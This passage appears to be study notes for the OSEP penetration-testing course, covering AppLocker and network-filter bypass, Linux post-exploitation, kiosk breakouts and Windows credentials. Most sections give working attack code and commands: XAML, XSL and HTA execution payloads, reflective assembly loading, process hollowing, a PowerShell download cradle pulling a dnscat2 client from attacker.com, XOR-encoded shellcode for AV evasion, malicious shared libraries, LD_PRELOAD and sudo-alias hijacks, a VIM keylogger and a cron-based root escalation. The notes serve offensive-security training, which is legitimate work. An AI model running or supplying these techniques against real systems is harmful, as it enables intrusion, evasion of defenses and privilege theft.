  • File properties and explorer show main stream only
  • AppLocker may only validate main stream
  • Requires specific execution methods (live off land binaries)

Third-Party Execution

Trusted third-party applications may allow code execution:

  • Applications with insecure deserialization
  • Applications that load plugins from writable paths
  • Applications with script execution capabilities
  • Adobe Reader, Java, .NET runtime may have bypass vectors

Bypassing AppLocker with PowerShell

Constrained Language Mode (CLM)

PowerShell CLM restricts available language features to prevent malicious script execution:

  • No direct script invocation
  • Limited cmdlet access
  • No .NET object instantiation
  • No variable expansion in strings with expressions
  • No script blocks or function definitions

Why CLM matters: It blocks many direct PowerShell exploitation techniques but can still be bypassed through managed .NET code execution.

Custom Runspaces

Creating custom PowerShell runspaces can bypass CLM restrictions:

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

public class PowerShellExecutor {
    public static void Execute(string command) {
        RunspaceConfiguration rsc = RunspaceConfiguration.Create();
        Runspace rs = RunspaceFactory.CreateRunspace(rsc);
        rs.Open();
        Pipeline pipeline = rs.CreatePipeline();
        pipeline.Commands.AddScript(command);
        pipeline.Invoke();
        rs.Close();
    }
}

Why this works: Custom runspaces created through C# bypass the CLM restrictions applied to interactive PowerShell sessions. The runspace inherits minimal CLM constraints when created programmatically.

CLM Bypass via PowerShell Downgrade

Older PowerShell versions (v2) have weaker security:

powershell -version 2 -Command "Get-Process"

Why this works: PowerShell v2 predates CLM and has fewer security restrictions. Many systems still have v2 available for backward compatibility.

Reflective Injection

Loading .NET assemblies directly into memory bypasses file-based AppLocker rules:

byte[] shellcode = Convert.FromBase64String("BASE64_ENCODED_ASSEMBLY");
Assembly assembly = Assembly.Load(shellcode);
MethodInfo method = assembly.GetType("Namespace.Class").GetMethod("Main");
method.Invoke(null, null);

Why this works: The assembly is loaded from memory, never written to disk, so AppLocker file execution rules don't apply. Hash-based and path-based rules are bypassed entirely.

Bypassing AppLocker with C#

Locating Target Applications

Identify applications that can be abused for code execution:

  • Microsoft.Workflow.Compiler.exe - Allows XAML file compilation
  • msbuild.exe - Can compile C# code from project files
  • csc.exe - C# compiler, compiles source directly
  • RegSvcs.exe - Registers .NET assemblies, can load and execute code
  • InstallUtil.exe - Can execute code during assembly registration

Reverse Engineering for Load

Use dnSpy to analyze binaries and identify:

  • Execution flow and entry points
  • Unsafe deserialization patterns
  • Plugin loading mechanisms
  • File type associations
dnspy.exe C:\Path\To\Binary.exe

Why this matters: Understanding how a binary loads and executes code reveals vectors for injection.

XML Deserialization Attack

Many applications deserialize XML without proper validation:

<?xml version="1.0" encoding="utf-8"?>
<ObjectDataProvider xmlns="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:sd="clr-namespace:System.Diagnostics;assembly=System">
  <ObjectDataProvider.MethodParameters>
    <sd:ProcessStartInfo FileName="cmd.exe" Arguments="/c calc.exe" />
  </ObjectDataProvider.MethodParameters>
  <ObjectDataProvider MethodName="Start" ObjectType="{x:Type sd:Process}"/>
</ObjectDataProvider>

Why this works: Unsafe deserialization interprets XAML/XML as object instantiation instructions, allowing arbitrary code execution through standard .NET classes.

Microsoft.Workflow.Compiler

This tool compiles XAML workflows to .NET assemblies. Abuse vector:

Microsoft.Workflow.Compiler.exe malicious.xaml output.exe

Create a malicious XAML file with embedded commands that execute during compilation. The resulting EXE inherits whitelist trust from the compiler itself.

Why this works: The compiler is trusted (Microsoft-signed), and its output is often whitelisted. The compilation process executes arbitrary logic embedded in XAML.

Code Execution Methods

  1. Direct Method Invocation: Use reflection to call public methods on loaded classes
  2. Static Constructor Execution: Code in static constructors runs during class loading
  3. Property Instantiation: Accessing properties during deserialization can trigger code
  4. Delegate Invocation: Serialized delegates execute when deserialized

Bypassing AppLocker with JScript

MSHTA Execution

MSHTA (Microsoft HTML Application host) can execute JScript embedded in HTA files:

<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run("cmd.exe /c calc.exe"), 0, True
</script>
</head>
<body></body>
</html>

Execute with:

mshta.exe script.hta

Why this works: MSHTA is a legitimate Microsoft tool for executing HTML applications. JScript/VBScript executed within HTA files can use WScript.Shell COM objects for command execution.

XSL Transform Execution

XSL stylesheets can execute arbitrary code during transformation:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
      public string Execute() {
        System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
        return "executed";
      }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:Execute()"/>
  </xsl:template>
</xsl:stylesheet>

Transform via:

wmic os get csname /format:custom.xsl

Why this works: XSL transformations allow embedded C# code execution. WMIC applies the transform, executing the embedded code. The code runs in the context of WMIC (often whitelisted).


Chapter 9: Bypassing Network Filters

DNS Filters

DNS filtering blocks access to malicious domains by returning NXDOMAIN or sinkhole IPs for known malicious domains. The filter maintains a database of suspicious domains and intercepts DNS queries at the network level.

How DNS Filtering Works

  • Client sends DNS query for domain
  • Filter checks domain against blocklist
  • If blocked: returns sinkhole IP (often 0.0.0.0 or ISP's sinkhole server)
  • If allowed: forwards query to legitimate DNS server
  • Client receives response and connects to the returned IP

Bypass Techniques

1. Domain Reputation Evasion Use domains with good reputation or newly registered domains:

C:\> nslookup newly-registered-domain.com

Why: New domains lack reputation history; filters rely on reputation databases that update periodically.

2. Subdomain Abuse Parent domain may be trusted while subdomains can be controlled:

C:\> nslookup attacker.legit-company.com

Why: Filters often whitelist parent domains; subdomain hosting is frequently allowed for legitimate purposes.

3. DNS Over HTTPS (DoH) Encrypt DNS queries to bypass local DNS inspection:

C:\> curl --doh-url https://dns-provider.com/dns-query https://malicious-domain.com

Why: Queries are encrypted end-to-end; local DNS filter cannot see the domain being queried.

4. Null Byte Injection Some filters parse domain names incorrectly:

malicious.com%00.legit.com

Why: Parser processes only the legitimate domain while the backend connects to the malicious domain.

Web Proxies

Web proxies intercept HTTP/HTTPS traffic and filter requests based on URL categories, keywords, and malware signatures. Organizations deploy proxies to prevent access to dangerous or non-business websites.

Proxy Operation

  • Client sends HTTP request to proxy
  • Proxy examines request URL and headers
  • Proxy checks against blocklist/content filter
  • If allowed: request forwarded to destination
  • If blocked: user receives block page

Bypass Techniques

1. IP-Based Access Access the destination server directly by IP, bypassing hostname filtering:

C:\> curl http://192.168.1.100

Why: Proxy filters often inspect domain names; direct IP access has no domain to filter.

2. Tunneling Create encrypted tunnel through allowed connection:

C:\> ssh -D 9050 attacker@server.com

Use as SOCKS5 proxy for all traffic:

C:\> curl --socks5 localhost:9050 http://malicious-site.com

Why: Proxy sees encrypted tunnel traffic, not the actual requests inside. Tunnel destination is often whitelisted.

3. Alternative Protocols Use protocols the proxy doesn't filter:

C:\> raw TCP connections to non-standard ports

Why: Proxies typically filter HTTP/HTTPS on standard ports. Alternative ports and protocols are often unfiltered.

IDS/IPS Sensors and Signature Detection

Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) analyze network traffic for malicious signatures and anomalous behavior. They detect known attack patterns and can block traffic in real-time (IPS) or alert (IDS).

Signature-Based Detection

  • Traffic captured and analyzed
  • Payload compared against signature database (known malware/exploits)
  • Alerts generated on match
  • IPS can drop/reject malicious packets

Evasion Techniques

1. Payload Fragmentation Split malicious payload across multiple packets:

Original: [GET /admin.php?cmd=whoami HTTP/1.1]
Fragmented: [GET /admin.php?cmd=who][ami HTTP/1.1]

Why: Signatures match contiguous patterns. Fragmentation breaks the signature match while reassembly at destination reconstructs the payload.

2. Encryption Encrypt payload content:

C:\> openssl enc -aes-256-cbc -S salt < payload > encrypted_payload

Why: IDS cannot pattern-match encrypted content; signature database only has plaintext signatures.

3. Polymorphic Encoding Encode payload differently each execution:

xor_encode(payload, random_key)

Why: Same malicious code produces different bytes each time. Static signatures never match the encoded version.

4. Protocol Anomalies Use protocol violations the IDS overlooks:

HTTP/1.1 with invalid headers, fragmented HTTP requests

Why: IDS may normalize traffic before inspection; endpoint may accept malformed traffic that signature misses.

Norton HIPS Case Study

Norton Host-based Intrusion Prevention System (HIPS) monitors process execution, file operations, and registry modifications on individual hosts. It uses behavioral rules to detect suspicious activity patterns.

Norton HIPS Protection

Norton HIPS protects against:

  • Process injection and code execution
  • Suspicious file operations (writing to system directories)
  • Registry modifications that affect security settings
  • Privilege escalation attempts
  • Suspicious network connections

Norton HIPS Bypass Vectors

1. Living off the Land Use trusted system binaries (LOLBins) that HIPS whitelists:

rundll32.exe javascript:"some code"
certutil.exe -encode input.txt output.txt

Why: HIPS trusts built-in Windows tools. Using them for unintended purposes bypasses behavioral monitoring.

2. Process Hollowing (Process Replacement) Spawn legitimate process and replace its memory:

  1. Create suspended process (e.g., svchost.exe)
  2. Unmap original executable from memory
  3. Inject malicious code into unmapped space
  4. Resume process execution
// Pseudocode
CreateProcessA(lpApplicationName, lpCommandLine, ..., CREATE_SUSPENDED, ...)
NtUnmapViewOfSection(hProcess, pImageBase)
VirtualAllocEx(hProcess, pImageBase, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
WriteProcessMemory(hProcess, pImageBase, shellcode, size, ...)
ResumeThread(hThread)

Why: HIPS sees a trusted process (svchost.exe) starting normally. Injection occurs after process startup, evading behavioral triggers.

3. Legitimate Application Abuse Applications with dynamic code execution capabilities:

  • Microsoft Office macros
  • PDF readers with JavaScript
  • Game engines with scripting
  • Database engines with stored procedures

Why: HIPS whitelists these applications for legitimate use. Using them for unintended execution is harder to detect behaviorally.

Full Packet Capture

Full packet capture (pcap) records all network traffic on a network segment. Security analysts use packet captures to investigate incidents and reconstruct attacker activity.

Packet Capture Evasion

1. Encryption Use HTTPS/TLS to encrypt traffic:

C:\> curl https://malicious-domain.com

Packets show encrypted bytes; payload cannot be inspected.

Why: Packet capture sees only encrypted bytes, not decrypted content. Without decryption keys, the attacker's actual commands remain hidden.

2. Traffic Obfuscation Hide command traffic within normal-looking protocol traffic:

Tunnel commands through DNS queries and responses
Embed payloads in image metadata
Covert channel via packet timing

Why: Defender examining packets sees normal protocol traffic. Actual commands are hidden in noise or require special decoding.

HTTPS Inspection and TLS Interception

Enterprises deploy HTTPS inspection to monitor encrypted traffic. Man-in-the-middle (MITM) proxies intercept TLS connections, decrypt traffic, inspect it, and re-encrypt to the client.

HTTPS Inspection Mechanism

  1. Client initiates TLS handshake to destination
  2. MITM proxy intercepts connection
  3. Proxy completes TLS handshake with client (using proxy's cert)
  4. Proxy initiates TLS handshake with destination
  5. Proxy sits between client and server, decrypting/re-encrypting traffic

HTTPS Inspection Evasion

1. Certificate Pinning Client validates server certificate matches a pinned certificate:

var handler = new HttpClientHandler();
handler.ServerCertificateCustomValidationCallback = (message, cert, chain, errors) => {
    return cert.Thumbprint == "ExpectedThumbprint";
};

Why: Pinned certificate check fails when MITM proxy presents its own certificate. Connection refuses to proceed.

2. Client Certificates Mutual TLS (mTLS) requires the client to present a certificate:

curl --cert client.crt --key client.key https://destination.com

Why: Destination server validates client certificate. Proxy cannot reissue client certs without the private key.

3. Out-of-Band Channels Use non-HTTP protocols that skip proxy inspection:

SSH tunneling, VPN, raw TCP sockets

Why: Non-HTTP protocols may bypass the HTTPS inspection appliance. Encrypted tunnels encapsulate the actual command traffic.

Domain Fronting with Azure CDN

Domain fronting uses a legitimate CDN to route requests to an attacker-controlled backend. The Host header specifies an attacker domain while the SNI (Server Name Indication) and certificate validate for the legitimate CDN domain.

Domain Fronting Mechanics

  1. Attacker registers a domain (attacker.com)
  2. Attacker's domain is configured on Azure CDN
  3. Azure CDN points to attacker's backend
  4. Client connects to Azure's IP address (appears legitimate)
  5. Host header in HTTP request specifies attacker.com
  6. Azure forwards request based on Host header to attacker's backend

Setup Example

Azure CDN Configuration:

  1. Create CDN endpoint on Azure
  2. Add custom domain (attacker.com) to CDN
  3. Point custom domain to attacker infrastructure
  4. Certificate issued by Azure (*.azureedge.net or custom domain)

Client Request:

GET / HTTP/1.1
Host: attacker.com

Connects to Azure CDN IP (legitimate in reputation databases) but Host header routes to attacker infrastructure.

Why Domain Fronting Works

  • Network filter sees connection to legitimate Azure CDN IP (whitelisted)
  • HTTP-level inspection sees Host: attacker.com (may be blocked)
  • But if firewall only inspects IP-level (not HTTP headers), payload reaches attacker
  • Certificate validation passes because Azure issued it

Evasion Against Domain Fronting Detection

1. Multiple Domains Use different attacker domains for different requests:

Request 1: Host: attacker1.com
Request 2: Host: attacker2.com

Why: Single domain pattern is easier to detect. Multiple domains appear as normal CDN usage.

2. Legitimate Content Mixing Mix actual CDN requests with command traffic:

GET /images/logo.png HTTP/1.1
GET /api/command HTTP/1.1

Why: Legitimate content requests hide malicious requests in normal traffic flow.

DNS Tunneling with dnscat2

DNS tunneling encapsulates command traffic inside DNS queries and responses. DNS packets are small and often allowed by network filters designed for legitimate DNS traffic.

DNS Tunneling Mechanics

  1. Attacker sets up dnscat2 server controlling a domain (attacker.com)
  2. Victim runs dnscat2 client
  3. Client encodes commands as DNS subdomains
  4. Queries sent: [base64_encoded_command].attacker.com
  5. dnscat2 server decodes subdomain, executes command
  6. Response encoded into DNS TXT records
  7. Client reads TXT records, decodes response

dnscat2 Example

Server Setup:

ruby dnscat2.rb attacker.com

Client Execution:

cd C:\temp
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/dnscat2.ps1')"
dnscat2 attacker.com

This initiates a command shell over DNS:

dnscat> shell
[shell] executed

Why DNS Tunneling Evades Detection

  • DNS queries appear legitimate to content filters (DNS is required)
  • Payload is fragmented across many DNS transactions
  • DNS is low-bandwidth; command output sent in chunks
  • Network monitors may allow DNS but block HTTP/HTTPS
  • Signature-based IDS sees DNS queries, not encoded commands inside
  • Encryption within DNS queries makes payload analysis difficult

DNS Tunneling Advantages

  • Bypasses HTTP/HTTPS proxies (uses DNS instead)
  • Evades IDS signature matching (commands encoded in DNS)
  • Works through restricted firewall rules that allow DNS
  • Provides two-way command channel (queries and responses)
  • Difficult to filter without blocking all DNS

Summary of Defense Evasion Techniques

ControlBypass MethodMechanism
AppLockerReflective InjectionLoad assembly from memory, no disk write
AppLockerXML DeserializationAbuse .NET deserialization in trusted apps
AppLockerMSHTA/XSLUse trusted Microsoft tools for code execution
DNS FilterDoH/Alternative DNSEncrypt queries or use alternative protocols
Web ProxyIP-Based AccessConnect directly to server IP, no domain filtering
IDS/IPSPayload FragmentationSplit malicious signature across packets
HIPSLiving Off the LandUse whitelisted system binaries
HTTPS InspectionCertificate PinningValidate specific server cert, reject proxy cert
Network FiltersDomain FrontingLegitimate CDN IP with malicious Host header
Network FiltersDNS TunnelingCommand C2 over DNS instead of HTTP

OSEP Study Notes: Chapters 10-11

Chapter 10: Linux Post-Exploitation

Linux dominates as the OS for servers, cloud environments, supercomputers, and IoT devices. Post-exploitation techniques extend beyond initial enumeration and basic exploitation, providing multiple attack vectors depending on the Linux environment type.

10.1 User Configuration Files

User-specific configuration files (dotfiles) are stored in home directories and prepended with a period. These control application behavior for specific users and are typically writable only by the user or root. Two common examples are .bash_profile (executed at login) and .bashrc (executed when starting a new shell or login window).

These files can be modified to set environment variables, load scripts, or run commands when users log in—providing attack vectors for persistence and privilege escalation.

10.1.1 VIM Config Simple Backdoor

VIM is widely used on Linux and Unix systems with extensive functionality. User-specific VIM configuration is stored in ~/.vimrc file. Commands can be run from within the editor by typing a colon (:) followed by the command. These commands can also be placed directly in the .vimrc file or loaded via plugin directories.

Key technique: Insert shell commands in .vimrc using the source command to load shell scripts:

echo ":source ~/.vimrunscript" >> ~/.bashrc

Alternative approach - VIM plugin directory:

  • Files with .vim extension in ~/.vim/plugin/ are automatically loaded when VIM starts
  • More stealthy than modifying .vimrc directly

Executing commands via VIM backdoor:

vi /tmp/test.txt
:shell

Elevation via sudo:

  • If user runs VIM with sudo privileges, gained shell executes as root
  • Check sudo rights: sudo -l
  • Some systems use sudoedit which copies files for editing, limiting this attack

Note: On Ubuntu/Red Hat systems running vim via sudo, the current user's .vimrc is used. On Debian systems, the root user's .vimrc is used in a sudo context. For systems not persisting user environment with sudo, modify sudo alias:

alias sudo="sudo -E"

10.1.2 VIM Config Simple Keylogger

VIM's autocommand feature triggers actions on specific events. The BufWritePost event fires after writing a buffer to a file. This allows logging file changes without suspicion.

Autocommand syntax:

:autocmd <event> * <silent> :w! >> /tmp/hackedfrommvim.txt

Example - Log all file edits as root via sudo:

Create a gtkdialog-based terminal UI that runs as root, then modify ~/.vimrc to execute a command that logs file changes. When user runs sudo vi /tmp/test.txt, the keylogger writes to files accessible to root.

Setup:

  1. Create autocommand in .vimrc file
  2. Set conditions using if statements to check environment variables (e.g., if $USER == "root")
  3. Use BufWritePost event to trigger logging on file writes
  4. Direct output to /tmp/hackedfrommvim.txt with redirection operators

This provides attack vector for capturing sensitive data when user has elevated permissions.

10.2 Bypassing AV

Linux antivirus solutions are less commonly deployed than Windows solutions but can be found on business-critical servers. When present, they tend to be less sophisticated than Windows counterparts.

10.2.1 Kaspersky Endpoint Security

Kaspersky provides real-time protection and can be disabled using the kesl-control utility. The --stop-t flag stops a specified task; real-time protection runs as task 1.

Disable real-time protection:

sudo kesl-control --stop-t 1

Test detection with EICAR test file:

sudo kesl-control --scan-file ./eicar.txt

Query event logs to view detections:

sudo kesl-control -E --query | grep DetectName

Key insight: Kaspersky detection is signature-based. Encoding shellcode (e.g., XOR cipher) with custom encoders can bypass detection. Test against Antiscan.me before deployment.

AV bypass with C wrapper:

  • Generate shellcode with msfvenom
  • Create C program that decodes and executes shellcode at runtime
  • Compile with position-independent code flags: -fPIC and -z execstack
  • Wrap shellcode in encoder program using XOR cipher

10.2.2 Antiscan.me

This service checks files against 26+ antivirus scanners. Files must have .exe extension; rename encoded shells accordingly.

Key steps:

  1. Generate unencoded shellcode
  2. XOR-encode the shellcode using custom encoder
  3. Create C wrapper that decodes shellcode using XOR operation
  4. Compile as binary
  5. Rename to .exe extension
  6. Upload to Antiscan.me

Result: XOR-based obfuscation bypassed all 26 scanners tested, showing minimal effort required to evade some AV products.

10.3 Shared Libraries

Shared libraries on Linux are similar to DLLs on Windows. Programs load shared libraries from specific directories in a known order, providing attack vectors through library hijacking.

10.3.1 How Shared Libraries Work on Linux

Programs use Executable and Linkable Format (ELF) on Linux vs Portable Executable (PE) on Windows. Both systems share code through reusable library modules.

Library search order (when application runs):

  1. Directories listed in application's RPATH value
  2. Directories specified in LD_LIBRARY_PATH environment variable
  3. Directories listed in application's RUNPATH value
  4. Directories specified in /etc/ld.so.conf
  5. System library directories: /lib, /lib64, /usr/lib, /usr/lib64, /usr/local/lib, /usr/local/lib64

Key insight: Because search order is predictable, malicious versions of libraries can be placed earlier in the chain to hijack loading behavior.

10.3.2 Shared Library Hijacking via LD_LIBRARY_PATH

The LD_LIBRARY_PATH environment variable allows users to override default library loading behavior. Setting this variable directs programs to use custom versions of libraries before system libraries.

Create malicious shared library:

Save to /home/offsec/ldlib/hex.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void runmahpayload() __attribute__((constructor));

void runmahpayload() {
    setuid(0);
    setgid(0);
    printf("DLL HIJACKING IN PROCESS \n");
    system("touch /tmp/haxso.txt");
}

Compile malicious library:

gcc -Wall -fPIC -c -o hax.o hex.c
gcc -shared -o libhax.so hax.o

Key compiler flags:

  • -Wall: verbose warnings
  • -fPIC: position-independent code (required for shared libraries)
  • -c: compile without linking
  • -o: output file
  • -shared: create shared library from object file

Symbol handling: When program loads library and missing symbols are encountered, use readelf to extract symbols from original library and define them in malicious version.

Extract symbols:

readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int " $8 " = 0;}'

This creates variable definitions in malicious code to satisfy symbol requirements.

Deploy malicious library with LD_LIBRARY_PATH:

export LD_LIBRARY_PATH=/home/offsec/ldlib/
cp libhax.so libgpg-error.so
./top

Target application: The top command is commonly run with sudo and loads many libraries, making it good target.

Privilege escalation via sudo alias:

Create alias to pass LD_LIBRARY_PATH through sudo:

alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib"

Then source .bashrc to load changes:

source ~/.bashrc
sudo top

Note: LD_LIBRARY_PATH is ignored for setuid binaries unless env_reset is disabled or env_keep is set in /etc/sudoers.

10.3.3 Exploitation via LD_PRELOAD

LD_PRELOAD environment variable forces the dynamic linker to load specified library before any others. Unlike LD_LIBRARY_PATH, it works even when original libraries are loaded, allowing function hooking.

Key difference: Libraries specified by LD_PRELOAD are loaded before all others, allowing you to override functions and still call the original implementation.

Technique:

  1. Hook desired function (e.g., getuid())
  2. Define pointer to original function using typeof() and dlsym()
  3. Use dlsym(RTLD_NEXT, "getuid") to get address of original function
  4. Create wrapper that executes malicious code, then calls original function
  5. Use fork() to spawn shell in background so program returns normally

Payload structure:

#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

uid_t getuid(void) {
    if (fork() == 0) {
        // Shell code in child process
    } else {
        // Call original getuid
        return old_getuid();
    }
}

Compilation:

gcc -Wall -fPIC -z execstack -o evil_getuid.o -c evil_getuid.c
gcc -shared -o evil_getuid.so evil_getuid.o -ldl

Execution with reverse shell:

export LD_PRELOAD=/home/offsec/evil_getuid.so
cp /etc/passwd /tmp/testpasswd

Privilege escalation with sudo:

Modify sudo alias to include LD_PRELOAD:

alias sudo="sudo LD_PRELOAD=/home/offsec/evil_getuid.so"

When user runs sudo command, malicious library loads before system libraries, executing payload as root.

Advantages over LD_LIBRARY_PATH:

  • Works even when original libraries are present
  • Function hooking allows selective interception
  • Less likely to break application functionality
  • Payload executes in background while program continues normally

10.4 Wrapping Up

Chapter 10 covers multiple Linux post-exploitation vectors:

  • User configuration files (VIM backdoors, keyloggers)
  • AV bypass techniques (Kaspersky, Antiscan.me using XOR encoding)
  • Shared library hijacking (LD_LIBRARY_PATH and LD_PRELOAD)

Understanding Linux weaknesses enables offensive security professionals to conduct thorough assessments against Linux-based systems.


Chapter 11: Kiosk Breakouts

Interactive kiosks are public-facing systems designed with restrictive interfaces and limited functionality. They run mainstream operating systems with thin interface layers, providing attack surface through browser exploitation, configuration manipulation, and privilege escalation.

11.1 Kiosk Enumeration

Kiosks are designed with limited functionality, so enumeration must use available tools. Unlike typical penetration tests with specialized tools, live off the land approach using existing system utilities.

11.1.1 Kiosk Browser Enumeration

Since kiosk interfaces offer limited functionality, the Firefox browser becomes primary interaction vector. Exploring the browser interface reveals information about the system.

Navigation techniques:

  • Use arrow keys, back/forward buttons, refresh, zoom, and new tab functionality
  • Interact with address bar through URL suggestions
  • Test keyboard shortcuts (Alt+Tab may reveal other running processes)
  • Explore browser developer tools and preferences

Key discovery: Accessing Firefox internal keywords (like about:config) is blocked, but preferences icon reveals restrictions. Address bar interaction with special protocols (like irc://) may launch system dialogs.

Firefox profile analysis:

  • Default Firefox profile stores user data in ~/.mozilla/firefox/[profile].default/
  • Profile contains bookmarks, history, stored data, and certificates
  • Multiple profiles can exist; launch with -P flag to select specific profile

Protocol handler discovery:

  • irc://, mailto:, and other custom protocols may launch external applications
  • Browser's "Launch Application" dialog allows selecting applications to handle protocols
  • This becomes exploit vector for command execution

11.2 Command Execution

Once browser restrictions are identified, command execution vectors become available through protocol handlers and application launchers.

11.2.1 Exploring the Filesystem

File browser via protocol handler:

irc://myhost

This launches the "Launch Application" dialog. Selecting "Choose other Application" opens file browser allowing filesystem exploration. By navigating to /bin/ or other system directories, various utilities become available.

Available utilities in /bin/:

  • bash - command shell (won't work in graphical environment)
  • busybox - combines common Unix utilities
  • dmesg - view kernel messages
  • cat, chmod, chown, cp, date - standard utilities

Key insight: busybox is extremely useful as it provides shell functionality in a single binary, combining many Unix utilities.

11.2.2 Firefox Profiles and Configuration

Firefox can launch with alternate profiles using -P flag. This allows bypassing restrictions set in the default kiosk profile.

Creating new profile:

irc://myhost -P "haxor"

New profile doesn't have kiosk restrictions applied, providing unrestricted browser access.

Leveraging Firefox unrestricted instance:

  • Access about:config, developer tools, extensions
  • Install new extensions or bypass filtering
  • Access network tools and features unavailable in kiosk profile

11.2.3 Enumerating System Information

Read-only enumeration via file:// protocol:

Once unrestricted browser access is achieved, enumerate system configuration:

file:///etc/passwd

Shows valid login users, UIDs, and default shell information.

file:///proc/version

Reveals kernel version and compilation date, indicating potential direct kernel exploits.

Filesystem browsing: Manually navigate directory structure to discover:

  • System configuration files
  • Application binaries and locations
  • User home directories
  • Temporary files and caches

11.2.4 Scratching the Surface

Firefox includes developer tools (accessed via hamburger menu) allowing:

  • JavaScript console execution
  • HTML/DOM inspection
  • Network monitoring
  • Storage inspection

Scratchpad tool: Firefox's Scratchpad allows writing and executing JavaScript. This can:

  • Write files to home directory using file I/O APIs
  • Execute system commands (limited by browser sandbox)
  • Interact with local system

11.3 Post-Exploitation

After basic command execution, interactive shell becomes necessary for effective post-exploitation.

11.3.1 Simulating an Interactive Shell

GTKDialog provides graphical interface building using HTML-style markup. It accepts input elements and can execute commands via actions.

Terminal window markup (Listing 516):

<window>
  <vbox>
    <vbox scrollable="true" width="500" height="400">
      <edit>
        <variable>CMDOUTPUT</variable>
        <input file>/tmp/termout.txt</input>
      </edit>
    </vbox>
    <hbox>
      <text><label>Command:</label></text>
      <entry><variable>CMDTORUN</variable></entry>
      <button>
        <label>Run!</label>
        <action>$CMDTORUN > /tmp/termout.txt</action>
        <action>refresh:CMDOUTPUT</action>
      </button>
    </hbox>
  </vbox>
</window>

Key elements:

  • <edit> displays text read from file with variable substitution
  • <input file> populates element from file contents
  • <entry> accepts user text input with <variable> tag for bash substitution
  • <action> executes commands when button clicked
  • refresh: refreshes display element with updated file contents

Workflow:

  1. User enters command in entry box
  2. Click "Run!" button
  3. Action redirects command output to /tmp/termout.txt
  4. Refresh action updates display with new output
  5. Creates pseudo-terminal interface

11.4 Privilege Escalation

After gaining interactive shell, focus shifts to escalating privileges to root.

11.4.1 Thinking Outside the Box

Enumerate SUID binaries:

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

Common vulnerable SUID binaries: /usr/sbin/mtr, /usr/bin/xlock, others.

Identify running processes:

ps aux | grep root

Look for root-owned processes that might be exploitable. In kiosk environments, openbox window manager often runs as root for managing X session.

Openbox discovery:

ps aux | grep root | grep openbox

The openbox process runs with --startup parameter pointing to startup script. This script, if writable or if its parent directory is writable, becomes privilege escalation vector.

11.4.2 Root Shell at the Top of the Hour

Cron jobs provide persistent privilege escalation if writable directories exist. The /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, and /etc/cron.monthly/ directories accept root-owned files.

Key finding: /etc/cron.hourly/ often lacks stringent requirements on file ownership/permissions compared to /etc/cron.d/ or root crontabs.

Exploit approach:

  1. Create symlink to privileged location:
ln -s /usr/bin /home/guest/.mozilla/firefox/c3pp43bg.default
  1. Place malicious bookmarks file in symlink location as root-owned shell script
  2. When openbox restarts, Firefox recreates bookmarks file
  3. Cron job executing bookmarks file runs as root

Script to set SUID bit:

#!/bin/bash
chown root:root /home/guest/busybox
chmod +s /home/guest/busybox
  1. Wait for cron execution (hourly)
  2. Copied busybox binary becomes SUID root-owned
  3. Execute busybox sh to get root shell

Firefox bookmark file structure: Bookmarks are HTML-based; when kiosk resets X session, Firefox regenerates file automatically.

11.4.3 Getting Root Terminal Access

Once SUID binary available, final step is establishing interactive root terminal.

Virtual terminal access: Linux systems have built-in virtual consoles (TTYs) accessible via Ctrl+Alt+F1 through Ctrl+Alt+F6. However, in restricted kiosk environments, these keystrokes may be disabled.

Workaround - Enable VT switching:

  1. Copy /etc/X11/xorg.conf.d/10-xorg.conf to writable location
  2. Edit to comment out DontVTSwitch option (disables VT switching)
  3. Use XDG_RUNTIME_DIR override to write modified config
  4. Restart X session via openbox --replace
  5. Re-enable VT switching to switch to TTY

TTY configuration via /etc/inittab:

Modify inittab to define TTYs:

# Standard console login
id:c1:respawn:/sbin/getty 38400 tty1 linux

Command to send VT switch via xdotool:

xdotool key Ctrl+Alt+F3

This switches to TTY3, presenting login prompt. Login as root with obtained shell access.

Quality of life improvements: Once root terminal established, full system control enables:

  • Installing backdoors
  • Accessing network
  • Modifying system configuration
  • Pivoting to backend systems

11.5 Windows Kiosk Breakout Techniques

Windows kiosks use similar restrictive interface approach. Attack methodology parallels Linux techniques but leverages Windows-specific features:

  • Task Manager enumeration
  • Registry modification
  • Windows service exploitation
  • Group Policy bypass

The fundamental principle remains: restrictive kiosk interfaces still run full operating systems with standard applications and configurations available for exploitation.


Summary

Chapter 10 - Linux Post-Exploitation:

  • User configuration files enable persistence through VIM backdoors and keyloggers
  • Antivirus bypass requires custom encoding and obfuscation techniques
  • Shared library hijacking via LD_LIBRARY_PATH and LD_PRELOAD provides privilege escalation vectors

Chapter 11 - Kiosk Breakouts:

  • Browser enumeration reveals system information and available applications
  • Protocol handlers and file browsers provide filesystem access
  • GTKDialog-based pseudo-terminals enable interactive command execution
  • Cron jobs and SUID binaries offer privilege escalation to root
  • Virtual terminal switching grants root shell access to compromised kiosks

Both chapters demonstrate that restrictive interfaces on Linux systems, while adding security layers, don't prevent exploitation when attackers understand underlying operating system mechanisms.

OSEP Study Notes - Chapters 12 & 13

Chapter 12: Windows Credentials

12.1 Local Windows Credentials

12.1.1 SAM Database

Theory: The Security Account Manager (SAM) database stores local user credentials as NTLM password hashes. These are stored in the Registry at C:\Windows\System32\config\SAM. The SYSTEM file contains encryption keys needed to decrypt the SAM hashes. Both files are locked by the SYSTEM process while Windows is running.

Key Concepts:

  • Security Identifiers (SID) format: S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx-RID
  • Default local Administrator has RID 500
  • NTLM hashing uses MD4 algorithm

Extracting SAM Database:

